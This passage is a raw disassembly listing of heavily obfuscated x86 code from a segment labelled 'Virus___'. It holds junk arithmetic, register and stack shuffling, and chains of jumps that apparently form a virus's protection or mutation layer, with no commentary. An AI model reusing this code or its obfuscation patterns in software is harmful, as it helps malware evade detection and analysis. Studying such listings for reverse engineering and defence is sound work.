		jmp	loc_57527C
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	78D7h
		jmp	loc_57D825
; ---------------------------------------------------------------------------


loc_57598E:				; CODE XREF: Virus___:00578CE7j
		pop	ebx
		add	eax, 2A5F541Ah
		add	eax, 3F31746Dh
		push	edx
		mov	edx, 5D6215B3h
		neg	edx
		jmp	loc_57335F
; ---------------------------------------------------------------------------


loc_5759A6:				; CODE XREF: Virus___:00574CCFj
		pop	ecx
		push	5D52h
		jmp	loc_5744EB
; ---------------------------------------------------------------------------


loc_5759B1:				; CODE XREF: Virus___:0057D960j
		add	ecx, eax
		pop	eax
		sub	ecx, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_579D67
; ---------------------------------------------------------------------------


loc_5759C8:				; CODE XREF: Virus___:0057A61Fj
		sub	bl, dh
		mov	edx, [esp]
		add	esp, 4
		dec	bl
		push	cx
		mov	cl, dh
		mov	dh, bl
		mov	bl, cl
		pop	cx
		not	dh
		jmp	loc_575E73
; ---------------------------------------------------------------------------


loc_5759E6:				; CODE XREF: Virus___:00573917j
		mov	ebp, edi
		pop	edi
		add	[esp+4], ebp
		pop	ebp
		mov	ecx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 76612882h
		dec	esi
		push	edi
		mov	edi, 5219519Dh
		jmp	loc_575239
; ---------------------------------------------------------------------------


loc_575A06:				; CODE XREF: Virus___:00578BDBj
		mov	ecx, 356A2E6Ch
		or	ecx, 5DBF722Ah
		inc	ecx
		inc	ecx
		add	ecx, 6C2D2EE1h
		jmp	loc_57BC46
; ---------------------------------------------------------------------------


loc_575A1E:				; CODE XREF: Virus___:0057B7E3j
		mov	esp, [esp]
		push	623Dh
		mov	[esp], eax
		mov	eax, 6DDC1F3Dh
		shl	eax, 3
		and	eax, 2AE5B76h
		push	edx
		jmp	loc_57AB27
; ---------------------------------------------------------------------------


loc_575A3C:				; CODE XREF: Virus___:0057D6C4j
		mov	esi, ecx
		pop	ecx
		push	edi
		mov	edi, 2D415DE9h
		or	esi, edi
		jmp	loc_57D277
; ---------------------------------------------------------------------------


loc_575A4C:				; CODE XREF: Virus___:0057BFEBj
		pop	edx
		push	66FBh
		jmp	loc_57C3BB
; ---------------------------------------------------------------------------


loc_575A57:				; CODE XREF: Virus___:00575022j
		neg	ecx
		jmp	loc_5755DC
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edx
		push	esp
		mov	edx, [esp]
		jmp	loc_578287
; ---------------------------------------------------------------------------


loc_575A6C:				; CODE XREF: Virus___:0057E1C3j
		sub	ecx, 14E4B867h
		mov	edi, ecx
		mov	ecx, [esp]
		jmp	loc_57301A
; ---------------------------------------------------------------------------


loc_575A7C:				; CODE XREF: Virus___:0057D85Fj
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_575A81:				; CODE XREF: Virus___:005774F7j
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_5776A1
; ---------------------------------------------------------------------------


loc_575A90:				; CODE XREF: Virus___:0057C9CDj
		push	681Ch
		mov	[esp], eax
		push	1DE7h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		push	edi
		mov	edi, 68D6326h
		and	edi, 35DC2CE0h
		xor	edi, 539F7F9Ch
		shr	edi, 1
		shr	edi, 7
		or	edi, 7A042487h
		push	esi
		mov	esi, 85A8C825h
		jmp	loc_57C26E
; ---------------------------------------------------------------------------


loc_575AD0:				; CODE XREF: Virus___:0057E853j
		pop	edx
		pop	ebx
		shr	ebp, 5
		shl	ebp, 7
		add	ebp, 7B171591h
		push	eax
		mov	eax, 786D1FC7h
		xor	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		add	ebp, 297A80AAh
		or	[edi+1Ch], ebp
		pop	ebp
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_575AFE:				; CODE XREF: Virus___:005789D6j
		mov	cl, bl
		mov	ebx, [esp]
		add	esp, 4
		add	cl, 0FDh
		add	al, 30h
		sub	al, cl
		sub	al, 30h
		pop	ecx
		add	al, 5Ch
		push	0B84h
		mov	[esp], ebx
		push	ecx
		mov	cl, 6
		sub	cl, 72h
		neg	cl
		dec	cl
		inc	cl
		and	cl, 73h
		add	cl, 72h
		mov	bh, cl
		pop	ecx
		add	bh, 0FFh
		jmp	loc_578689
; ---------------------------------------------------------------------------


loc_575B3A:				; CODE XREF: Virus___:00573FA2j
		pop	edx
		jmp	loc_578ABD
; ---------------------------------------------------------------------------


loc_575B40:				; CODE XREF: Virus___:00576BA1j
		pop	eax
		sub	dh, 7Eh
		jmp	loc_579AFA
; ---------------------------------------------------------------------------


loc_575B49:				; CODE XREF: Virus___:00574231j
		or	eax, eax
		jz	loc_577202
		push	4B80h
		mov	[esp], ebx
		mov	ebx, 1Ch
		push	edx
		mov	edx, 0A660682h
		dec	edx
		jmp	loc_575D33
; ---------------------------------------------------------------------------


loc_575B6A:				; CODE XREF: Virus___:00572EFDj
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_5760DD
; ---------------------------------------------------------------------------


loc_575B7B:				; CODE XREF: Virus___:00579B8Bj
		push	ebx
		mov	ebx, 4
		push	eax
		mov	eax, 43F71FE8h
		add	edx, eax
		pop	eax
		add	edx, ebx
		sub	edx, 43F71FE8h
		pop	ebx
		push	1D78h
		jmp	loc_576AD9
; ---------------------------------------------------------------------------


loc_575B9D:				; CODE XREF: Virus___:0057DD89j
		mov	[esp], edx
		mov	edx, 76194E5Ah
		push	esi
		mov	esi, 302E54BDh
		xor	esi, 2E537BB1h
		add	esi, 231D603Ch
		xor	esi, 0AA0334E9h
		sub	edx, 438D38E1h
		jmp	loc_57A634
; ---------------------------------------------------------------------------


loc_575BC8:				; CODE XREF: Virus___:00577779j
		pop	edx
		add	esp, 4
		jmp	loc_57BFB8
; ---------------------------------------------------------------------------


loc_575BD4:				; CODE XREF: Virus___:00576687j
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_57DDC6
; ---------------------------------------------------------------------------


loc_575BE3:				; CODE XREF: Virus___:0057CF5Bj
		mov	ecx, 6F6A1FA9h
		xor	ecx, 61A078Fh
		xor	esi, ecx
		pop	ecx
		jmp	loc_579082
; ---------------------------------------------------------------------------


loc_575BF6:				; CODE XREF: Virus___:00575FB4j
		xor	edi, 20012A4h
		add	edi, 0FD10D73Ch
		push	edi
		sub	dword ptr [esp], 5B4E558Eh
		pop	ecx
		jmp	loc_57A27E
; ---------------------------------------------------------------------------


loc_575C10:				; CODE XREF: Virus___:00573AE4j
		pop	ebx
		add	al, bl
		jmp	loc_57E583
; ---------------------------------------------------------------------------


loc_575C18:				; CODE XREF: Virus___:0057EF45j
		xchg	ebp, [esp]
		mov	esp, [esp]
		dec	byte ptr [esp]
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------
		align 4
		dd 0D80059E8h, 522CC82Ch, 809FB652h, 0B551CFF6h, 59EE08F0h
		dd 5E3A6866h, 240C8966h, 0CE2818B1h, 1395E9h
		db 0
; ---------------------------------------------------------------------------


loc_575C4D:				; CODE XREF: Virus___:0057C18Cj
		sub	ebp, edx
		pop	edx
		add	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	edi
		sub	esp, 4
		jmp	loc_5769E7
; ---------------------------------------------------------------------------


loc_575C6D:				; CODE XREF: Virus___:0057B8FFj
		mov	ebp, 3A614B0Ah
		shl	ebp, 3
		sub	ebp, 638E1066h
		add	ebx, ebp
		jmp	loc_57C962
; ---------------------------------------------------------------------------


loc_575C82:				; CODE XREF: Virus___:00577E9Ej
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_57B7FC
; ---------------------------------------------------------------------------


loc_575C90:				; CODE XREF: Virus___:0057EB69j
		dec	al
		xor	al, 77h
		jmp	loc_57977C
; ---------------------------------------------------------------------------


loc_575C99:				; CODE XREF: Virus___:0057968Ej
		pop	esi
		neg	ecx
		jmp	loc_57BF74
; ---------------------------------------------------------------------------


loc_575CA1:				; CODE XREF: Virus___:0057460Aj
		pop	esp
		idiv	ecx
		jmp	loc_577D85
; ---------------------------------------------------------------------------


loc_575CA9:				; CODE XREF: Virus___:0057C0D4j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		jmp	loc_57A405
; ---------------------------------------------------------------------------


loc_575CC0:				; CODE XREF: Virus___:0057D39Dj
		pop	eax
		sub	ecx, 76EE28F9h
		add	ecx, 44A90FDCh
		push	dword ptr [ecx]
		pop	eax
		pop	ecx
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [edi+eax*4]
		push	34AFh
		jmp	loc_577AC0
; ---------------------------------------------------------------------------


loc_575CE4:				; CODE XREF: Virus___:0057D4AFj
		sub	edi, edx
		pop	edx
		jmp	loc_57B201
; ---------------------------------------------------------------------------


loc_575CEC:				; CODE XREF: Virus___:0057B53Cj
		mov	[esp], ebx
		mov	ebx, 0C8244CAh
		or	ebp, ebx
		jmp	loc_573297
; ---------------------------------------------------------------------------


loc_575CFB:				; CODE XREF: Virus___:0057577Dj
		add	ebp, esi
		mov	esi, [esp]
		jmp	loc_573AA3
; ---------------------------------------------------------------------------


loc_575D05:				; CODE XREF: Virus___:00574BFCj
		mov	ebx, 20947C40h
		jmp	loc_57910A
; ---------------------------------------------------------------------------


loc_575D0F:				; CODE XREF: Virus___:00576991j
		push	ecx
		mov	cl, 3Bh
		sub	bl, cl
		pop	ecx
		jmp	loc_574477
; ---------------------------------------------------------------------------
		lodsd
		sub	esp, 4
		mov	[esp], ecx
		push	esi
		mov	esi, 697F6B28h
		and	esi, 3FEF6F6Ah
		push	edi
		jmp	loc_5799FC
; ---------------------------------------------------------------------------


loc_575D33:				; CODE XREF: Virus___:00575B65j
		and	edx, 440B4465h
		add	edx, 0FFFFFFFFh
		and	edx, 13C25B1Dh
		push	edi
		mov	edi, 2CB9240Eh
		not	edi
		not	edi
		not	edi
		sub	edi, 2FDC0F35h
		jmp	loc_57E7F4
; ---------------------------------------------------------------------------
		push	dword ptr [edi+38h]
		push	dword ptr [esp]
		pop	ecx
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_576F1F
; ---------------------------------------------------------------------------


loc_575D71:				; CODE XREF: Virus___:00578A35j
		mov	[esp], edx
		push	edi
		mov	edi, 3A314B8Ah
		push	edi
		not	dword ptr [esp]
		pop	edi
		inc	edi
		jmp	loc_57E5E4
; ---------------------------------------------------------------------------


loc_575D85:				; CODE XREF: Virus___:0057876Dj
		pop	esp
		jmp	loc_578A2D
; ---------------------------------------------------------------------------


loc_575D8B:				; CODE XREF: Virus___:0057ADEEj
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_57B1D0
; ---------------------------------------------------------------------------


loc_575D99:				; CODE XREF: Virus___:00573B9Cj
		push	edi
		mov	edi, 184D1827h
		xchg	eax, edi
		push	eax
		not	dword ptr [esp]
		pop	eax
		xchg	eax, edi
		sub	edi, 1
		neg	edi
		inc	edi
		sub	edi, 0AB80C1B1h
		push	edi
		mov	edx, [esp]
		add	esp, 4
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		xor	[esp+4], edx
		pop	edx
		pop	ecx
		xor	ecx, 6CCC5679h
		push	689Eh
		mov	[esp], esi
		jmp	loc_57571A
; ---------------------------------------------------------------------------


loc_575DF4:				; CODE XREF: Virus___:0057C95Dj
		add	edx, 4
		jmp	loc_57CA8A
; ---------------------------------------------------------------------------


loc_575DFF:				; CODE XREF: Virus___:005733AAj
		push	esp
		pop	eax
		add	eax, 4
		push	ebp
		push	esp
		pop	ebp
		jmp	loc_5780CC
; ---------------------------------------------------------------------------


loc_575E0E:				; CODE XREF: Virus___:0057923Aj
		and	dl, ch
		pop	ecx
		dec	dl
		neg	dl
		shl	dl, 4
		add	dl, 38h
		xor	dl, 0FCh
		and	bl, dl
		mov	edx, [esp]
		jmp	loc_57C283
; ---------------------------------------------------------------------------


loc_575E28:				; CODE XREF: Virus___:00577991j
		mov	ebp, 2
		add	ecx, ebp
		pop	ebp
		push	ecx
		jmp	loc_572DB6
; ---------------------------------------------------------------------------


loc_575E36:				; CODE XREF: Virus___:0057E7EFj
		mov	esi, ebx
		pop	ebx
		xor	esi, 16C81CEBh
		jmp	loc_573284
; ---------------------------------------------------------------------------


loc_575E44:				; CODE XREF: Virus___:00577706j
		pop	esp
		mov	ax, [esp]
		push	edx
		mov	edx, esp
		push	ecx
		mov	ecx, 4
		push	eax
		mov	eax, 4BF45C28h
		jmp	loc_57E7E3
; ---------------------------------------------------------------------------


loc_575E5D:				; CODE XREF: Virus___:005789FDj
		not	esi
		xchg	ecx, esi
		not	ecx
		xor	esi, ecx
		xor	ecx, esi
		xor	esi, ecx
		inc	esi
		shl	esi, 3
		push	edi
		jmp	loc_57AF53
; ---------------------------------------------------------------------------


loc_575E73:				; CODE XREF: Virus___:005759E1j
		xor	bl, dh
		xor	dh, bl
		xor	bl, dh
		jmp	loc_578941
; ---------------------------------------------------------------------------


loc_575E7E:				; CODE XREF: Virus___:0057675Aj
		add	edi, edx
		sub	edi, 76E75578h
		pop	edx
		add	edi, 29657DBDh
		jmp	loc_576834
; ---------------------------------------------------------------------------


loc_575E92:				; CODE XREF: Virus___:0057C0CBj
		sub	edi, 71674E1Fh
		sub	edi, 6A691EB0h
		pop	ebp
		jmp	loc_57A81E
; ---------------------------------------------------------------------------


loc_575EA4:				; CODE XREF: Virus___:00577FA8j
		push	552Bh
		jmp	loc_579C6A
; ---------------------------------------------------------------------------


loc_575EAE:				; CODE XREF: Virus___:0057D5A4j
		mov	ebp, 3EA43990h
		mov	ebx, 157C0414h
		jmp	loc_57DF5C
; ---------------------------------------------------------------------------


loc_575EBD:				; CODE XREF: Virus___:0057E889j
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5758A1
; ---------------------------------------------------------------------------


loc_575ECC:				; CODE XREF: Virus___:0057D82Aj
		push	eax
		push	4
		pop	eax
		add	edx, 367407FBh
		jmp	loc_574F70
; ---------------------------------------------------------------------------


loc_575EDE:				; CODE XREF: Virus___:0057E663j
		xor	ecx, 0CD7E8300h
		mov	esi, ecx
		pop	ecx
		xor	esi, 732D0596h
		push	ebx
		mov	ebx, 734D2A24h
		xor	esi, ebx
		pop	ebx
		push	esi
		sub	dword ptr [esp], 4CCC0574h
		pop	ebx
		push	esi
		mov	esi, 4CCC0574h
		add	ebx, esi
		pop	esi
		jmp	loc_5755B1
; ---------------------------------------------------------------------------


loc_575F0D:				; CODE XREF: Virus___:00576E5Ej
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_57E482
; ---------------------------------------------------------------------------


loc_575F16:				; CODE XREF: Virus___:0057B51Bj
		pop	ebp
		sub	edi, 1CDD50FFh
		pop	ebp
		jmp	loc_57D1C0
; ---------------------------------------------------------------------------


loc_575F23:				; CODE XREF: Virus___:005740F2j
		mov	bh, 25h
		jmp	loc_573E11
; ---------------------------------------------------------------------------


loc_575F2A:				; CODE XREF: Virus___:0057E9EFj
		shr	eax, 2
		xor	eax, 5728602Ah
		jmp	loc_577890
; ---------------------------------------------------------------------------


loc_575F37:				; CODE XREF: Virus___:0057A55Ej
		pop	edx
		jmp	loc_578E95
; ---------------------------------------------------------------------------


loc_575F3D:				; CODE XREF: Virus___:005748DCj
		dec	edi
		push	ebx
		mov	ebx, 0D3F5BBEAh
		sub	edi, ebx
		pop	ebx
		jmp	loc_57B048
; ---------------------------------------------------------------------------


loc_575F4C:				; CODE XREF: Virus___:00576345j
		pop	edi
		add	esp, 4
		add	edi, 4
		sub	edi, 2
		push	edi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_57CEA9
; ---------------------------------------------------------------------------


loc_575F7A:				; CODE XREF: Virus___:00576F54j
		push	esp
		pop	ebp
		sub	esp, 4
		jmp	loc_5773BA
; ---------------------------------------------------------------------------


loc_575F87:				; CODE XREF: Virus___:005755C1j
		pop	edi
		xor	ebx, ecx
		jmp	loc_57E36C
; ---------------------------------------------------------------------------


loc_575F8F:				; CODE XREF: Virus___:0057B37Ej
		pop	eax
		shl	dh, 3
		shl	dh, 5
		shl	dh, 4
		neg	dh
		jmp	loc_576FCD
; ---------------------------------------------------------------------------


loc_575FA0:				; CODE XREF: Virus___:00577D80j
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_57C6D9
; ---------------------------------------------------------------------------


loc_575FAE:				; CODE XREF: Virus___:00573F66j
		or	edi, 3D095249h
		jmp	loc_575BF6
; ---------------------------------------------------------------------------


loc_575FB9:				; CODE XREF: Virus___:0057E7CEj
		pop	ebx
		sub	ebp, edx
		pop	edx
		add	ebp, 1B1467B5h
		sub	ebp, eax
		sub	ebp, 1B1467B5h
		add	ebp, 136A3DACh
		mov	eax, [esp]
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_575FED:				; CODE XREF: Virus___:0057A88Fj
		add	edx, eax
		add	edx, 30A76486h
		mov	eax, [esp]
		jmp	loc_57552F
; ---------------------------------------------------------------------------


loc_575FFD:				; CODE XREF: Virus___:00579EFDj
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		jmp	loc_574CEE
; ---------------------------------------------------------------------------


loc_57600E:				; CODE XREF: Virus___:005739FCj
		or	esi, 25115438h
		jmp	loc_5797E1
; ---------------------------------------------------------------------------


loc_576019:				; CODE XREF: Virus___:00574CC6j
		mov	[esp], eax
		push	eax
		jmp	loc_57A382
; ---------------------------------------------------------------------------


loc_576022:				; CODE XREF: Virus___:00578BF4j
		mov	eax, edi
		mov	edx, eax
		pop	eax
		pop	edi
		xor	eax, edx
		push	dword ptr [esp]
		jmp	loc_573C46
; ---------------------------------------------------------------------------


loc_576032:				; CODE XREF: Virus___:0057C53Cj
		add	ebx, 4BD24DA5h
		jmp	loc_5734B4
; ---------------------------------------------------------------------------


loc_57603D:				; CODE XREF: Virus___:0057C5C4j
		movzx	eax, al
		jmp	loc_573F2F
; ---------------------------------------------------------------------------


loc_576045:				; CODE XREF: Virus___:0057C849j
		pop	ecx
		add	esp, 4


loc_576049:				; CODE XREF: Virus___:0057DFCFj
		push	614Bh
		jmp	loc_577589
; ---------------------------------------------------------------------------


loc_576053:				; CODE XREF: Virus___:0057D484j
		pop	eax
		jmp	loc_57B510
; ---------------------------------------------------------------------------


loc_576059:				; CODE XREF: Virus___:00576B92j
		push	ebx
		mov	ebx, 35B397Ch
		not	ebx
		xor	ebx, 30CC71EBh
		xor	ebx, 0E2F898D1h
		add	esi, ebx
		pop	ebx
		pop	edi
		inc	esi
		add	esi, 0CFF2569h
		sub	esi, 3C688FDDh
		mov	edi, esi
		pop	esi
		neg	edi
		shl	edi, 2
		dec	edi
		dec	edi
		not	edi
		add	edi, 33FBDE83h
		jmp	loc_5743B1
; ---------------------------------------------------------------------------


loc_576095:				; CODE XREF: Virus___:0057E4A6j
		sub	edx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_57BF67
; ---------------------------------------------------------------------------


loc_5760A2:				; CODE XREF: Virus___:0057C098j
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	27A1h
		mov	[esp], eax
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_574679
; ---------------------------------------------------------------------------


loc_5760D4:				; CODE XREF: Virus___:00574F02j
		sub	ecx, 4
		push	ecx
		jmp	loc_57A0BA
; ---------------------------------------------------------------------------


loc_5760DD:				; CODE XREF: Virus___:00575B76j
		xchg	edi, [esp]
		pop	esp
		xor	ecx, [esp]
		jmp	loc_57EC84
; ---------------------------------------------------------------------------


loc_5760E9:				; CODE XREF: Virus___:0057B23Bj
		mov	eax, [esp]
		add	esp, 4
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_57CC49
; ---------------------------------------------------------------------------


loc_5760FD:				; CODE XREF: Virus___:0057C918j
		mov	edx, ecx
		pop	ecx
		sub	edx, edi
		mov	edi, edx
		pop	edx
		or	edi, 64EC19D4h
		push	eax
		mov	eax, 3B4F3CEDh
		sub	eax, 9A167092h
		add	edi, eax
		pop	eax
		and	ebp, edi
		pop	edi
		sub	ebp, 709365FBh
		sub	ebp, 90A19E31h
		jmp	loc_577C02
; ---------------------------------------------------------------------------


loc_57612D:				; CODE XREF: Virus___:005754FBj
		pop	ecx
		jmp	loc_579ADF
; ---------------------------------------------------------------------------


loc_576133:				; CODE XREF: Virus___:00572C07j
		imul	cx
		push	small 2193h
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_576146:				; CODE XREF: Virus___:00575692j
		push	2D26h
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		jmp	loc_5735BB
; ---------------------------------------------------------------------------


loc_57615E:				; CODE XREF: Virus___:0057ABF3j
		mov	bl, dl
		push	eax
		mov	al, bl
		jmp	loc_574527
; ---------------------------------------------------------------------------


loc_576168:				; CODE XREF: Virus___:0057338Fj
		sub	[edi+24h], eax
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	40C9h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_578CEC
; ---------------------------------------------------------------------------


loc_57618D:				; CODE XREF: Virus___:0057B066j
		add	esp, 4
		add	edx, 77964C6Fh
		jmp	loc_57B457
; ---------------------------------------------------------------------------


loc_57619E:				; CODE XREF: Virus___:0057E268j
		pop	eax
		add	bl, al
		add	bl, 6
		push	ecx
		mov	ch, 0A0h
		sub	bl, 7Dh
		jmp	loc_574E7E
; ---------------------------------------------------------------------------


loc_5761AF:				; CODE XREF: Virus___:00579116j
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_578D81
; ---------------------------------------------------------------------------


loc_5761C0:				; CODE XREF: Virus___:0057EDCFj
		mov	esp, [esp]
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_5761C8:				; CODE XREF: Virus___:00579204j
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		push	ebx
		push	659A4A85h
		jmp	loc_57A878
; ---------------------------------------------------------------------------


loc_5761E2:				; CODE XREF: Virus___:0057A806j
		push	ebp
		push	eax
		push	ebx
		mov	ebx, 4B982C83h
		shl	ebx, 2
		sub	ebx, 0DA9693E7h
		mov	eax, ebx
		mov	ebx, [esp]
		jmp	loc_5773AA
; ---------------------------------------------------------------------------


loc_5761FD:				; CODE XREF: Virus___:00572C54j
		add	ebp, eax
		add	ebp, 7E422F0Ah
		jmp	loc_578772
; ---------------------------------------------------------------------------


loc_57620A:				; CODE XREF: Virus___:00578EF4j
		push	136F3228h
		pop	eax
		add	eax, 0EC90CDDCh
		mov	ebx, eax
		pop	eax
		add	eax, 464F2AF9h
		add	eax, ebx
		sub	eax, 464F2AF9h
		pop	ebx
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_57C3C3
; ---------------------------------------------------------------------------


loc_576230:				; CODE XREF: Virus___:0057E585j
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5789C1
; ---------------------------------------------------------------------------


loc_57623E:				; CODE XREF: Virus___:0057E93Aj
		or	ebx, ecx
		pop	ecx
		xor	ebx, 89771B9Ah
		mov	ecx, ebx
		pop	ebx
		and	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_573100
; ---------------------------------------------------------------------------


loc_576257:				; CODE XREF: Virus___:0057C2C3j
		xor	edi, 39BE53F2h
		jmp	loc_576444
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_5799C8
; ---------------------------------------------------------------------------


loc_57626B:				; CODE XREF: Virus___:005793FFj
		xchg	ecx, [esp]
		pop	esp
		and	eax, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_577E36
; ---------------------------------------------------------------------------


loc_57627F:				; CODE XREF: Virus___:0057B0C2j
		add	al, 0C2h
		sub	al, cl
		sub	al, 0C2h
		pop	ecx
		add	al, ch
		add	al, 0F6h
		sub	al, 0D7h
		push	dword ptr [esp]
		jmp	loc_57C666
; ---------------------------------------------------------------------------
		push	edx
		jmp	loc_578053
; ---------------------------------------------------------------------------


loc_57629A:				; CODE XREF: Virus___:00579BB9j
		sub	eax, ebx
		sub	eax, 50854196h
		sub	esp, 4
		mov	[esp], esi
		push	ebx
		jmp	loc_573438
; ---------------------------------------------------------------------------


loc_5762AD:				; CODE XREF: Virus___:005748FBj
		and	cl, 21h
		sub	cl, 6
		xor	ah, cl
		pop	ecx
		or	ch, ah
		jmp	loc_574E5A
; ---------------------------------------------------------------------------


loc_5762BD:				; CODE XREF: Virus___:0057B7F7j
		push	eax
		mov	eax, 7C07DF1h
		mov	edx, 207D72D8h
		xor	edx, eax
		jmp	loc_5745D5
; ---------------------------------------------------------------------------


loc_5762CF:				; CODE XREF: Virus___:0057BE04j
		push	ebx
		mov	ebx, 76E34B38h
		jmp	loc_57F026
; ---------------------------------------------------------------------------


loc_5762DA:				; CODE XREF: Virus___:00577E53j
		add	ebp, 2BE381Ch
		pop	ebx
		add	edi, ebp
		jmp	loc_5789A2
; ---------------------------------------------------------------------------


loc_5762E8:				; CODE XREF: Virus___:0057904Dj
		xor	bl, ah
		jmp	loc_57C07A
; ---------------------------------------------------------------------------


loc_5762EF:				; CODE XREF: Virus___:0057B153j
		add	esi, edi
		jmp	loc_57C73D
; ---------------------------------------------------------------------------


loc_5762F6:				; CODE XREF: Virus___:005748C2j
		mov	eax, esi
		jmp	loc_573971
; ---------------------------------------------------------------------------


loc_5762FD:				; CODE XREF: Virus___:0057B4C2j
		mov	edx, 1215002Ah
		jmp	loc_578FD9
; ---------------------------------------------------------------------------


loc_576307:				; CODE XREF: Virus___:00573FC3j
		mov	edi, eax
		pop	eax
		jmp	loc_57B2F1
; ---------------------------------------------------------------------------


loc_57630F:				; CODE XREF: Virus___:0057C6D4j
		pop	eax
		shl	edi, 5
		neg	edi
		push	edi
		not	dword ptr [esp]
		jmp	loc_576B83
; ---------------------------------------------------------------------------


loc_57631E:				; CODE XREF: Virus___:0057C1F0j
		push	esi
		jmp	loc_57A24E
; ---------------------------------------------------------------------------


loc_576324:				; CODE XREF: Virus___:0057B0DDj
		xor	edi, edx
		pop	edx
		add	edi, 0B41647Dh
		jmp	loc_57AEB5
; ---------------------------------------------------------------------------


loc_576332:				; CODE XREF: Virus___:00574721j
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		jmp	loc_575F4C
; ---------------------------------------------------------------------------


loc_57634A:				; CODE XREF: Virus___:0057DABFj
		push	ebp
		jmp	loc_57AA91
; ---------------------------------------------------------------------------


loc_576350:				; CODE XREF: Virus___:0057B7CEj
		or	edi, 7BC213A1h
		push	esi
		mov	esi, 7C760117h
		not	esi
		jmp	loc_57E72F
; ---------------------------------------------------------------------------


loc_576363:				; CODE XREF: Virus___:00578645j
		sub	eax, 3F31746Dh
		push	esi
		push	edx
		jmp	loc_576C86
; ---------------------------------------------------------------------------


loc_57636F:				; CODE XREF: Virus___:0057E76Aj
		pop	edi
		jmp	loc_579D72
; ---------------------------------------------------------------------------


loc_576375:				; CODE XREF: Virus___:005770AAj
		push	eax
		sub	dword ptr [esp], 437805A0h
		mov	edi, [esp]
		jmp	loc_5772D5
; ---------------------------------------------------------------------------


loc_576385:				; CODE XREF: Virus___:0057AEE3j
		not	edx
		inc	edx
		shr	edx, 3
		sub	edx, 181016CBh
		add	ebp, edx
		pop	edx
		jmp	loc_574A12
; ---------------------------------------------------------------------------


loc_576399:				; CODE XREF: Virus___:0057A52Bj
		xor	edx, [esp]
		jmp	loc_57CCE4
; ---------------------------------------------------------------------------


loc_5763A1:				; CODE XREF: Virus___:00577AC8j
		pop	eax
		jmp	loc_57945A
; ---------------------------------------------------------------------------


loc_5763A7:				; CODE XREF: Virus___:0057C3B6j
		push	ebx
		mov	ebx, 3F7B4932h
		jmp	loc_5785AA
; ---------------------------------------------------------------------------


loc_5763B2:				; CODE XREF: Virus___:0057EEA3j
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_575681
; ---------------------------------------------------------------------------


loc_5763C3:				; CODE XREF: Virus___:0057BC21j
		mov	ebx, 0D79D8C63h
		mov	ecx, ebx
		mov	ebx, [esp]
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		jmp	loc_575573
; ---------------------------------------------------------------------------


loc_5763DB:				; CODE XREF: Virus___:0057EC1Fj
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_5763E0:				; CODE XREF: Virus___:00576428j
		add	ebx, 55F56171h
		add	ebx, ebp
		sub	ebx, 55F56171h
		sub	ebx, 7D1158E7h
		pop	ebp
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		sub	esp, 4
		jmp	loc_574CCB
; ---------------------------------------------------------------------------


loc_57640A:				; CODE XREF: Virus___:0057C3E7j
		push	esi
		mov	esi, 163C4FCAh
		jmp	loc_573BFE
